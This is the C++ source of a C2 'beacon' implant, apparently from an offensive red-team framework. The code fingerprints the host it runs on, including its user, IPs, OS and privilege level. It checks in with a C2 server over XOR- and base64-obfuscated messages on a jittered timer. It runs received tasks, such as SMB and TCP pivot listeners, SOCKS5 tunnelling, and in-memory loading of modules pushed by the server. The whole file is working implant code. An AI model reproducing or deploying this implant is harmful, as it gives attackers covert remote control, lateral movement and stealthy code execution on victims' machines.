#include "Beacon.hpp" #include #ifdef __linux__ #include #include #include #include #include #include typedef ModuleCmd* (*constructProc)(); #elif _WIN32 #include #include #define INFO_BUFFER_SIZE 32767 #define ENV_VAR_STRING_COUNT (sizeof(envVarStrings)/sizeof(TCHAR*)) typedef ModuleCmd* (*constructProc)(); #pragma comment(lib, "Wtsapi32.lib") #endif using namespace std; #ifdef __linux__ #include #include #include #include std::string getInternalIP() { struct ifaddrs* ifAddrStruct = nullptr; getifaddrs(&ifAddrStruct); std::string ips = ""; for (struct ifaddrs* ifa = ifAddrStruct; ifa != nullptr; ifa = ifa->ifa_next) { if (ifa->ifa_addr && ifa->ifa_addr->sa_family == AF_INET) { if(!ips.empty()) ips+="\n"; void* tmpAddrPtr = &((struct sockaddr_in*)ifa->ifa_addr)->sin_addr; char addressBuffer[INET_ADDRSTRLEN]; inet_ntop(AF_INET, tmpAddrPtr, addressBuffer, INET_ADDRSTRLEN); // Filter out loopback if (std::string(ifa->ifa_name) != "lo") { ips += ifa->ifa_name; ips += ": "; ips += addressBuffer; } } } if (ifAddrStruct) freeifaddrs(ifAddrStruct); return ips; } int getCurrentPID() { return static_cast(getpid()); } #elif _WIN32 #include #include #include #include #pragma comment(lib, "Ws2_32.lib") #pragma comment(lib, "Iphlpapi.lib") std::string getInternalIP() { WSADATA wsaData; char hostname[256]; std::string ips = ""; if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) { return ips; } if (gethostname(hostname, sizeof(hostname)) == SOCKET_ERROR) { WSACleanup(); return ips; } struct addrinfo hints = {}, *result = nullptr; hints.ai_family = AF_INET; // IPv4 hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; if (getaddrinfo(hostname, nullptr, &hints, &result) != 0) { WSACleanup(); return ips; } for (struct addrinfo* ptr = result; ptr != nullptr; ptr = ptr->ai_next) { if(!ips.empty()) ips+="\n"; struct sockaddr_in* sockaddr_ipv4 = reinterpret_cast(ptr->ai_addr); char ipStr[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &sockaddr_ipv4->sin_addr, ipStr, sizeof(ipStr)); ips += ipStr; } freeaddrinfo(result); WSACleanup(); return ips; } int getCurrentPID() { return static_cast(GetCurrentProcessId()); } enum IntegrityLevel { INTEGRITY_UNKNOWN, UNTRUSTED_INTEGRITY, LOW_INTEGRITY, MEDIUM_INTEGRITY, HIGH_INTEGRITY, }; IntegrityLevel GetCurrentProcessIntegrityLevel() { HANDLE hToken = NULL; BOOL result = false; TOKEN_USER* tokenUser = NULL; DWORD dwLength = 0; OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); DWORD token_info_length = 0; if (::GetTokenInformation(hToken, TokenIntegrityLevel, nullptr, 0, &token_info_length) || ::GetLastError() != ERROR_INSUFFICIENT_BUFFER) { return INTEGRITY_UNKNOWN; } auto token_label_bytes = std::make_unique(token_info_length); TOKEN_MANDATORY_LABEL* token_label = reinterpret_cast(token_label_bytes.get()); if (!::GetTokenInformation(hToken, TokenIntegrityLevel, token_label, token_info_length, &token_info_length)) { return INTEGRITY_UNKNOWN; } DWORD integrity_level = *::GetSidSubAuthority( token_label->Label.Sid, static_cast(*::GetSidSubAuthorityCount(token_label->Label.Sid) - 1)); if (integrity_level < SECURITY_MANDATORY_LOW_RID) return UNTRUSTED_INTEGRITY; if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID) return LOW_INTEGRITY; if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID && integrity_level < SECURITY_MANDATORY_HIGH_RID) { return MEDIUM_INTEGRITY; } if (integrity_level >= SECURITY_MANDATORY_HIGH_RID) return HIGH_INTEGRITY; return INTEGRITY_UNKNOWN; } #endif Beacon::Beacon() { m_beaconHash = random_string(SizeBeaconHash); m_aliveTimerMs = 1000; srand(time(NULL)); m_ips = getInternalIP(); int pid = getCurrentPID(); m_pid = std::to_string(pid); #ifdef __linux__ char hostname[2048]; char username[2048]; gethostname(hostname, 2048); getlogin_r(username, 2048); m_hostname = hostname; m_username = username; uid_t uid = geteuid (); struct passwd *pw = getpwuid (uid); if (pw) m_username = std::string(pw->pw_name); struct utsname unameData; uname(&unameData); m_additionalInfo = unameData.sysname; m_additionalInfo += "\n"; m_additionalInfo += unameData.nodename; m_additionalInfo += "\n"; m_additionalInfo += unameData.release; m_additionalInfo += "\n"; m_additionalInfo += unameData.version; m_additionalInfo += "\n"; m_additionalInfo += unameData.machine; m_arch = unameData.machine; m_privilege = "user"; if(m_username=="root") m_privilege = "root"; m_os = unameData.sysname; m_os += " "; m_os += unameData.release; #elif _WIN32 TCHAR infoBuf[INFO_BUFFER_SIZE]; DWORD bufCharCount = INFO_BUFFER_SIZE; // Get and display the name of the computer. m_hostname = "unknown"; if( GetComputerName( infoBuf, &bufCharCount ) ) m_hostname = infoBuf; std::string username1; if( GetUserName( infoBuf, &bufCharCount ) ) username1 = infoBuf; // ?? std::string acctName; std::string domainname; TOKEN_USER tokenUser; ZeroMemory(&tokenUser, sizeof(TOKEN_USER)); DWORD tokenUserLength = 0; PTOKEN_USER pTokenUser; GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, NULL, 0, &tokenUserLength); pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength]; if (GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength)) { TCHAR szUserName[_MAX_PATH]; DWORD dwUserNameLength = _MAX_PATH; TCHAR szDomainName[_MAX_PATH]; DWORD dwDomainNameLength = _MAX_PATH; SID_NAME_USE sidNameUse; LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse); acctName=szUserName; domainname=szDomainName; delete[] pTokenUser; } if(!domainname.empty()) m_username+=domainname; else if(!m_hostname.empty()) m_username+=m_hostname; else m_username+="."; m_username+="\\"; if(!acctName.empty()) m_username+=acctName; else if(!username1.empty()) m_username+=username1; else m_username+="unknow"; SYSTEM_INFO systemInfo = { 0 }; GetNativeSystemInfo(&systemInfo); m_arch = "x64"; if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL) m_arch = "x86"; m_os = "Windows"; IntegrityLevel integrityLevel = GetCurrentProcessIntegrityLevel(); m_privilege = "-"; if (integrityLevel == INTEGRITY_UNKNOWN) m_privilege = "UNKNOWN"; else if (integrityLevel == UNTRUSTED_INTEGRITY) m_privilege = "UNTRUSTED"; else if (integrityLevel == LOW_INTEGRITY) m_privilege = "LOW"; else if (integrityLevel == MEDIUM_INTEGRITY) m_privilege = "MEDIUM"; else if (integrityLevel == HIGH_INTEGRITY) m_privilege = "HIGH"; #endif } void Beacon::run() { bool exit = false; while (!exit) { try { checkIn(); exit = runTasks(); sleep(); } catch(const std::exception& ex) { sleep(); } catch (...) { sleep(); } } checkIn(); } bool Beacon::initConfig(const std::string& config) { nlohmann::json beaconConfig = nlohmann::json::parse(config); m_key = beaconConfig["xorKey"].get(); m_modulesConfig = beaconConfig["ModulesConfig"]; return true; } // Distribute commands from C2 address to this beacon and child beacons bool Beacon::cmdToTasks(const std::string& input) { std::string data; try { // Decode the base64-encoded input string from the C2 server data = base64_decode(input); } catch (...) { // If decoding fails, return false return false; } // Decrypt the data using the beacon's XOR key XOR(data, m_key); // Parse the decrypted data into a MultiBundleC2Message object MultiBundleC2Message multiBundleC2Message; multiBundleC2Message.ParseFromArray(data.data(), (int)data.size()); // Iterate over each BundleC2Message in the multi-bundle message for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++) { BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); // Check if the message is addressed to this beacon std::string beaconhash = bundleC2Message->beaconhash(); if(beaconhash==m_beaconHash) { // Queue each C2Message task for this beacon for (int j = 0; j < bundleC2Message->c2messages_size(); j++) { const C2Message& c2Message = bundleC2Message->c2messages(j); m_tasks.push(c2Message); } } // Otherwise, the message is for a child session else { // Iterate through all listeners for(int i=0; igetNumberOfSession(); j++) { std::shared_ptr ptr = m_listeners[i]->getSessionPtr(j); if(ptr->getBeaconHash()==beaconhash) { // Queue each C2Message task for the matching child session for (int k = 0; k < bundleC2Message->c2messages_size(); k++) { const C2Message& c2Message = bundleC2Message->c2messages(k); m_listeners[i]->queueTask(beaconhash, c2Message); } } } } } } // Return true if all tasks were distributed successfully return true; } // Create the response message from the results of all the commmands send to this beacon and child beacons bool Beacon::taskResultsToCmd(std::string& output) { // Handle results of commands address to this particular Beacon MultiBundleC2Message multiBundleC2Message; BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages(); // TODO check of m_taskResult contain a getInfo cmd and add context info if it does bundleC2Message->set_beaconhash(m_beaconHash); bundleC2Message->set_hostname(m_hostname); bundleC2Message->set_username(m_username); bundleC2Message->set_arch(m_arch); bundleC2Message->set_privilege(m_privilege); bundleC2Message->set_os(m_os); bundleC2Message->set_lastProofOfLife("0"); bundleC2Message->set_internalIps(m_ips); bundleC2Message->set_processId(m_pid); bundleC2Message->set_additionalInformation(m_additionalInfo); while(!m_taskResult.empty()) { C2Message c2MessageRet=m_taskResult.front(); // C2Message *addedC2MessageRet = bundleC2Message->add_c2messages(); // addedC2MessageRet->CopyFrom(c2MessageRet); bundleC2Message->add_c2messages(c2MessageRet); m_taskResult.pop(); } // Handle results of commands address to child sessions for(int i=0; igetNumberOfSession(); j++) { std::shared_ptr ptr = m_listeners[i]->getSessionPtr(j); BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages(); // TODO check of m_taskResult contain a getInfo cmd and add context info if it does bundleC2Message->set_beaconhash(ptr->getBeaconHash()); bundleC2Message->set_listenerhash(ptr->getListenerHash()); bundleC2Message->set_hostname(ptr->getHostname()); bundleC2Message->set_username(ptr->getUsername()); bundleC2Message->set_arch(ptr->getArch()); bundleC2Message->set_privilege(ptr->getPrivilege()); bundleC2Message->set_os(ptr->getOs()); bundleC2Message->set_lastProofOfLife(ptr->getLastProofOfLife()); bundleC2Message->set_internalIps(ptr->getInternalIps()); bundleC2Message->set_processId(ptr->getProcessId()); bundleC2Message->set_additionalInformation(ptr->getAdditionalInformation()); C2Message c2Message = ptr->getTaskResult(); while(!c2Message.instruction().empty()) { // C2Message *addedC2MessageRet = bundleC2Message->add_c2messages(); // addedC2MessageRet->CopyFrom(c2Message); bundleC2Message->add_c2messages(c2Message); c2Message = ptr->getTaskResult(); } } } std::string data; multiBundleC2Message.SerializeToString(&data); XOR(data, m_key); output = base64_encode(data); return true; } // Execute the appropriate modules and instructions based on tasks received from the C2. // Returns true if an instruction indicates the beacon should exit, otherwise false. bool Beacon::runTasks() { // Execute all recurring module commands and collect their results. for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it) { C2Message c2RetMessage; int result = (*it)->recurringExec(c2RetMessage); // If the module executed successfully, store the result for response construction. if (result) m_taskResult.push(c2RetMessage); } // Process each individual task assigned to this beacon. // These are one-time commands sent from the C2 server. while (!m_tasks.empty()) { C2Message c2Message = m_tasks.front(); m_tasks.pop(); C2Message c2RetMessage; // Execute the instruction and generate the response. bool exit = execInstruction(c2Message, c2RetMessage); // Store the result of the execution. m_taskResult.push(std::move(c2RetMessage)); // If the instruction indicates the beacon should exit, return immediately. if (exit) return exit; } // Add a heartbeat or "proof-of-life" message for each active listener. // This helps the C2 track which listeners are still alive and their current state. for (int i = 0; i < m_listeners.size(); i++) { C2Message listenerProofOfLife; listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message. listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier. listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata. // Add the heartbeat to the response queue. m_taskResult.push(listenerProofOfLife); } // No exit signal was received; continue beacon execution. return false; } void Beacon::sleep() { std::random_device rd; std::mt19937 gen(rd()); std::uniform_real_distribution<> dis(0.8, 1.2); // 20% jitter range int jitteredTimeMs = static_cast(m_aliveTimerMs * dis(gen)); std::this_thread::sleep_for(std::chrono::milliseconds(jitteredTimeMs)); } // Main function that execute command comming from the C2 // Commands releated to modules are handle by them // Commands releated to beacon internal functions are handle in this function bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage) { string instruction = c2Message.instruction(); string cmd = c2Message.cmd(); string uuid = c2Message.uuid(); c2RetMessage.set_instruction(instruction); c2RetMessage.set_cmd(cmd); c2RetMessage.set_uuid(uuid); if (instruction == EndCmd) { c2RetMessage.set_returnvalue(CmdStatusSuccess); return true; } // // Sleep cmd // else if (instruction == SleepCmd) { std::string newSleepTimer = c2Message.cmd(); try { m_aliveTimerMs = std::stof(newSleepTimer)*1000; newSleepTimer = to_string(m_aliveTimerMs) + "ms"; } catch (const std::invalid_argument& ia) { newSleepTimer = CmdStatusFail; } c2RetMessage.set_returnvalue(newSleepTimer); return false; } // // Beacon Listener cmd // else if(instruction == ListenerCmd) { std::vector splitedCmd; std::string delimiter = " "; splitList(cmd, delimiter, splitedCmd); // TODO handle error for other type of listener if(splitedCmd[0]==StartCmd) { if(splitedCmd[1]==ListenerSmbType) { if(splitedCmd.size()!=4) return false; std::string host = splitedCmd[2]; std::string pipeName = splitedCmd[3]; std::vector>::iterator object = find_if(m_listeners.begin(), m_listeners.end(), [&](unique_ptr & obj){ return obj->getParam2() == pipeName;} ); if(object!=m_listeners.end()) { c2RetMessage.set_errorCode(ERROR_LISTENER_EXIST); return false; } else { std::unique_ptr listenerSmb = make_unique(host, pipeName); std::string hash = listenerSmb->getListenerHash(); std::string metadata = listenerSmb->getListenerMetadata(); m_listeners.push_back(std::move(listenerSmb)); c2RetMessage.set_cmd(cmd); c2RetMessage.set_data(metadata); c2RetMessage.set_returnvalue(hash); return false; } } else if(splitedCmd[1]==ListenerTcpType) { if(splitedCmd.size()!=4) return false; std::string localHost = splitedCmd[2]; int localPort; try { localPort = std::stoi(splitedCmd[3]); } catch (const std::invalid_argument& ia) { c2RetMessage.set_errorCode(ERROR_PORT_FORMAT); return false; } std::vector>::iterator object = find_if(m_listeners.begin(), m_listeners.end(), [&](unique_ptr & obj){ return obj->getParam2() == splitedCmd[3];} ); if(object!=m_listeners.end()) { c2RetMessage.set_errorCode(ERROR_LISTENER_EXIST); return false; } else { std::unique_ptr listenerTcp = make_unique(localHost, localPort); int ret = listenerTcp->init(); if (ret>0) { std::string hash = listenerTcp->getListenerHash(); std::string metadata = listenerTcp->getListenerMetadata(); m_listeners.push_back(std::move(listenerTcp)); c2RetMessage.set_cmd(cmd); c2RetMessage.set_data(metadata); c2RetMessage.set_returnvalue(hash); return false; } else { c2RetMessage.set_errorCode(ERROR_LISTENER_EXIST); return false; } } } } else if(splitedCmd[0]==StopCmd) { std::string listenerHash=splitedCmd[1]; std::vector>::iterator object = find_if(m_listeners.begin(), m_listeners.end(), [&](unique_ptr & obj){ return obj->getListenerHash().rfind(listenerHash,0)==0;} ); if(object!=m_listeners.end()) { c2RetMessage.set_cmd(cmd); c2RetMessage.set_returnvalue((*object)->getListenerHash()); m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object)); return false; } else { c2RetMessage.set_errorCode(ERROR_HASH_NOT_FOUND); return false; } } } // // Socks5 cmd // else if(instruction == Socks5Cmd) { SPDLOG_TRACE("Socks5 {} {} {}", c2Message.instruction(), c2Message.cmd(), c2Message.pid()); c2RetMessage.set_pid(c2Message.pid()); if(c2Message.cmd() == StartCmd) { return false; } else if(c2Message.cmd() == StopSocksCmd) { for(int i=0; i socksTunnelClient = std::make_unique(c2Message.pid()); try { uint32_t ip_dst = std::stoi(c2Message.data()); uint16_t port = std::stoi(c2Message.args()); int initResult = socksTunnelClient->init(ip_dst, port); if(initResult) { m_socksTunnelClient.push_back(std::move(socksTunnelClient)); return false; } else { SPDLOG_DEBUG("Socks5 init {} failed", c2Message.pid()); // handle the fact that the ip/port is not reachable and send to the TeamServer to kill the tunnel c2RetMessage.set_data("fail"); return false; } } catch (const std::invalid_argument& ia) { SPDLOG_DEBUG("Socks5 init {} failed", c2Message.pid()); c2RetMessage.set_errorCode(ERROR_GENERIC); return false; } SPDLOG_DEBUG("Socks5 init Finished"); } else if(c2Message.cmd() == RunCmd) { SPDLOG_DEBUG("Socks5 run {}", c2Message.pid()); for(int i=0; igetId()); if(m_socksTunnelClient[i]!=nullptr) { if(m_socksTunnelClient[i]->getId()==c2Message.pid()) { SPDLOG_DEBUG("Socks5 run process {}", c2Message.pid()); SPDLOG_DEBUG("Socks5 run input {}", c2Message.data().size()); std::string dataOut; int res = m_socksTunnelClient[i]->process(c2Message.data(), dataOut); SPDLOG_DEBUG("Socks5 run output {}", dataOut.size()); SPDLOG_DEBUG("Socks5 run process ok {}", c2Message.pid()); // if(res<=0 || dataOut.size()==0) if(res<=0) { SPDLOG_DEBUG("Socks5 run stop {}", c2Message.pid()); m_socksTunnelClient[i].reset(nullptr); c2RetMessage.set_cmd(StopCmd); } SPDLOG_DEBUG("Socks5 run process finished {}", c2Message.pid()); c2RetMessage.set_data(dataOut); } } } SPDLOG_DEBUG("Socks5 run Finished"); } else if(c2Message.cmd() == StopCmd) { SPDLOG_DEBUG("Socks5 stop {}", c2Message.pid()); for(int i=0; igetId()==c2Message.pid()) { m_socksTunnelClient[i].reset(nullptr); } } } SPDLOG_DEBUG("Socks5 stop Finished"); } SPDLOG_DEBUG("Finishing"); // Remove ended tunnels m_socksTunnelClient.erase(std::remove_if(m_socksTunnelClient.begin(), m_socksTunnelClient.end(), [](const std::unique_ptr& ptr) { return ptr == nullptr; }), m_socksTunnelClient.end()); SPDLOG_DEBUG("m_socksTunnelClient size {}", m_socksTunnelClient.size()); } // // Load memory module cmd // else if(instruction == LoadC2ModuleCmd) { #ifdef __linux__ const std::string inputfile = c2Message.inputfile(); std::string baseFilename = inputfile.substr(inputfile.find_last_of("/\\") + 1); const std::string buffer = c2Message.data(); SPDLOG_DEBUG("LoadC2Module inputfile {}, buffer {}", baseFilename, buffer.size()); void* handle = NULL; handle = MemoryLoadLibrary((char*)buffer.data(), buffer.size()); if (handle == NULL) { c2RetMessage.set_errorCode(ERROR_LOAD_LIBRARY); return false; } SPDLOG_DEBUG("MemoryLoadLibrary handle {}", handle); // The exported function that expose the constructor must be releated to the libreary file name // file name = libExposedFunctionName.so <-> Exported function name = ExposedFunctionNameConstructor std::string funcName = baseFilename; funcName = funcName.substr(3); // remove lib funcName = funcName.substr(0, funcName.length() - 3); // remove .so funcName += "Constructor"; // add Constructor SPDLOG_DEBUG("MemoryLoadLibrary funcName {}", funcName); constructProc construct; construct = (constructProc)dlsym(handle, funcName.c_str()); if(construct == NULL) { c2RetMessage.set_errorCode(ERROR_GET_PROC_ADDRESS); return false; } SPDLOG_DEBUG("MemoryLoadLibrary construct success" ); ModuleCmd* moduleCmd = construct(); // Check if the module is already loaded, if it is we free it and return unsigned long long moduleHash = moduleCmd->getHash(); std::vector>::iterator object = find_if(m_moduleCmd.begin(), m_moduleCmd.end(), [&](unique_ptr & obj) { return obj->getHash() == moduleHash; } ); if(object!=m_moduleCmd.end()) { c2RetMessage.set_errorCode(ERROR_MODULE_ALREADY_LOADED); dlclose(handle); return false; } std::unique_ptr moduleCmd_(moduleCmd); // initConfig for modules nlohmann::json config = m_modulesConfig; for (auto& it : config.items()) { unsigned long long moduleHash = djb2(it.key()); if(moduleCmd_.get()->getHash() == moduleHash) { moduleCmd_.get()->initConfig(it.value()); } } m_moduleCmd.push_back(std::move(moduleCmd_)); c2RetMessage.set_returnvalue(CmdStatusSuccess); return false; #elif _WIN32 // TODO add a map of loaded modules, with inputfile/handled, to check of a module is already loaded and to be able to unload the handler const std::string inputfile = c2Message.inputfile(); const std::string buffer = c2Message.data(); HMEMORYMODULE handle = NULL; handle = MemoryLoadLibrary((char*)buffer.data(), buffer.size()); if (handle == NULL) { DWORD errorMessageID = ::GetLastError(); if(errorMessageID == 0) { return false; } LPSTR messageBuffer = nullptr; //Ask Win32 to give us the string version of that message ID. //The parameters we pass in, tell Win32 to create the buffer that holds the message for us (because we don't yet know how long the message string will be). size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL); //Copy the error message into a std::string. std::string message(messageBuffer, size); //Free the Win32's string's buffer. LocalFree(messageBuffer); c2RetMessage.set_errorCode(ERROR_LOAD_LIBRARY); return false; } // the DLL only exports one function, try to load by ordinal value // If the dll export multiple function we got to make sur the export function come first (alphabetical number) constructProc construct; construct = (constructProc)MemoryGetProcAddress(handle, reinterpret_cast(0x01)); if (!construct != NULL) { c2RetMessage.set_errorCode(ERROR_GET_PROC_ADDRESS); return false; } ModuleCmd* moduleCmd = construct(); // Check if the module is already loaded, if it is we free it and return unsigned long long moduleHash = moduleCmd->getHash(); std::vector>::iterator object = find_if(m_moduleCmd.begin(), m_moduleCmd.end(), [&](unique_ptr & obj) { return obj->getHash() == moduleHash; } ); if(object!=m_moduleCmd.end()) { c2RetMessage.set_errorCode(ERROR_MODULE_ALREADY_LOADED); MemoryFreeLibrary(handle); return false; } std::unique_ptr moduleCmd_(moduleCmd); // initConfig for modules nlohmann::json config = m_modulesConfig; for (auto& it : config.items()) { unsigned long long moduleHash = djb2(it.key()); if(moduleCmd_.get()->getHash() == moduleHash) { moduleCmd_.get()->initConfig(it.value()); } } m_moduleCmd.push_back(std::move(moduleCmd_)); c2RetMessage.set_returnvalue(CmdStatusSuccess); return false; #endif } else if(instruction == UnloadC2ModuleCmd) { // TODO should be able to close the handle to the dll/so // clean the memory std::string moduleName = c2Message.cmd(); unsigned long long moduleHash = djb2(moduleName); std::vector>::iterator object = find_if(m_moduleCmd.begin(), m_moduleCmd.end(), [&](unique_ptr & obj) { if(obj->getName().empty()) return obj->getHash() == moduleHash; else return obj->getName() == moduleName; } ); if(object!=m_moduleCmd.end()) { #ifdef __linux__ Dl_info DlInfo; if ((dladdr((void*)((*object)->getHash()), &DlInfo)) != 0) { dlclose(DlInfo.dli_fbase); } #elif _WIN32 HMODULE hModule = NULL; if(GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, (LPCTSTR)(*object)->getHash(), &hModule)) { // test with FreeLibrary, should use MemoryFreeLibrary ? FreeLibrary(hModule); } #endif m_moduleCmd.erase(std::remove(m_moduleCmd.begin(), m_moduleCmd.end(), *object)); c2RetMessage.set_returnvalue(CmdStatusSuccess); return false; } else { c2RetMessage.set_errorCode(ERROR_MODULE_NOT_FOUND); return false; } } // // Command to be executed by a loaded module // else { unsigned long long moduleHash = djb2(instruction); bool isModuleFound=false; for(auto it = m_moduleCmd.begin() ; it != m_moduleCmd.end(); ++it ) { if (instruction == (*it)->getName() || moduleHash == (*it)->getHash()) { (*it)->process(c2Message, c2RetMessage); isModuleFound=true; } } if(!isModuleFound) { c2RetMessage.set_returnvalue(CmdModuleNotFound); } } return false; }